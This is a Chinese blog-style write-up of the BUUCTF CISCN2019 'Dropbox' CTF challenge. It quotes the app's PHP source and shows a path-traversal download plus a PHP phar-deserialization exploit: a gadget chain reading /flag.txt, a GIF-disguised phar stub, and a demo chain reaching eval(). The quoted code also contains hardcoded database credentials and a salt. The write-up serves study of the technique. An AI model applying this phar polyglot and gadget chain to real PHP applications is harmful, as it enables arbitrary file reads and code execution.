title: BUUCTF-WEB 【CISCN2019 华北赛区 Day1 Web1】Dropbox 1
date: 2021-4-21 10:53:05
tags:
- CTF
- 反序列化
categories:
- CTF
- BUUCTF
考点:文件下载、反序列化题:使用利用phar://在file_get_contents读取文件
这个题照着别人wp做下来,还是有很多地方不懂,有点害怕审计代码,一连好几个文件,看来看去的,也看不太懂,很懵的感觉。这道题的后端操作,都抽象成了三个大类,保存在class.php文件中,在index.html、login.php这些页面,基本上就是包含了class.php 文件,很多操作就直接调用类方法,代码审计弱鸡的我自然看起来就费劲,不管怎样,还是总结下做题的流程。
分析
经过注册、登录,上传文件。直接来第一个关键的地方。
经过一番操作后,发现存在文件下载漏洞,在点击下载功能后,进行抓包,会得到文件的内容,这里对index.php 进行了尝试,也直接得到了index.php 的源代码。
至于这里为什么要加 ../../
两个回退。是因为在别人的wp中看到。
接下来,开始读取相关文件的源代码进行代码审计。
读取了6个文件的源代码,index.php 显示上传的文件,register.php 注册用户,login.php 登录,upload.php 文件上传,download.php 文件下载,delete.php 文件删除,class.php 为 基类,提供了三个大类,User、FileList、File 。其他的文件都是调用 class.php 里的方法,相当于把所有的方法都放在了class.php 的类中。
接下来贴几个关键的代码。
upload.php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
include "class.php";
if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}
if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>
download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp"); // 值
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
最核心的 class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
就是上面这些看起来费劲,理解不了。
这里就直接贴 制作phar 代码。
<?php
class User
{
public $db;
public function __construct()
{
$this->db = new FileList();
}
}
class FileList
{
private $files;
private $results;
private $funcs;
public function __construct()
{
$this->files = array(new File());
$this->results = array();
$this->funcs = array();
}
}
class File
{
public $filename = '/flag.txt';
}
$user = new User();
@unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
# 设置stub
$phar->setStub("GIF98a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($user);
# 添加要压缩的文件及内容
$phar->addFromString('test.txt', "test");
# 签名自动计算
$phar->stopBuffering();
把生成的 test.phar
改成 test.gif
,然后上传
成功后 抓删除的包
phar://test.gif
phar:// 协议在读取 phar文件时,会有进行反序列化的操作,当我们把序列化的内容放在setMetadata 中,再用phar:// 协议去读取,就会反序列化里面的内容。
在file_get_contents 函数中 用 phar:// 读取 phar文件 的演示
这是仿照别人wp构造的两个类,然后用file_get_contents
来读取 自己制作的phar文件
demo1.php
<!-- 使用phar://进行反序列序列化-3-->
<?php
class Demo1{
public $sub;
public function __construct($sub)
{
$this->sub = $sub;
}
}
class Demo2{
public $s;
public function __construct($s)
{
$this->s = $s;
}
public function __destruct()
{
// TODO: Implement __destruct() method.
eval($this->s);
}
}
file_get_contents('phar://demo1.phar');
?>
demo2.php
<!-- 使用phar://进行反序列序列化-2-->
<?php
class Demo1
{
public $sub;
public function __construct()
{
$this->sub = new Demo2('phpinfo();');
}
}
class Demo2
{
public $s;
public function __construct($s)
{
$this->s = $s;
}
public function __destruct()
{
// TODO: Implement __destruct() method.
eval($this->s);
}
}
$user = new Demo1();
@unlink("demo1.phar");
$phar = new Phar("demo1.phar");
$phar->startBuffering();
# 设置stub
$phar->setStub("GIF98a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($user);
# 添加要压缩的文件及内容
$phar->addFromString('test.txt', "test");
# 签名自动计算
$phar->stopBuffering();
?>
执行demo1 的时候会输出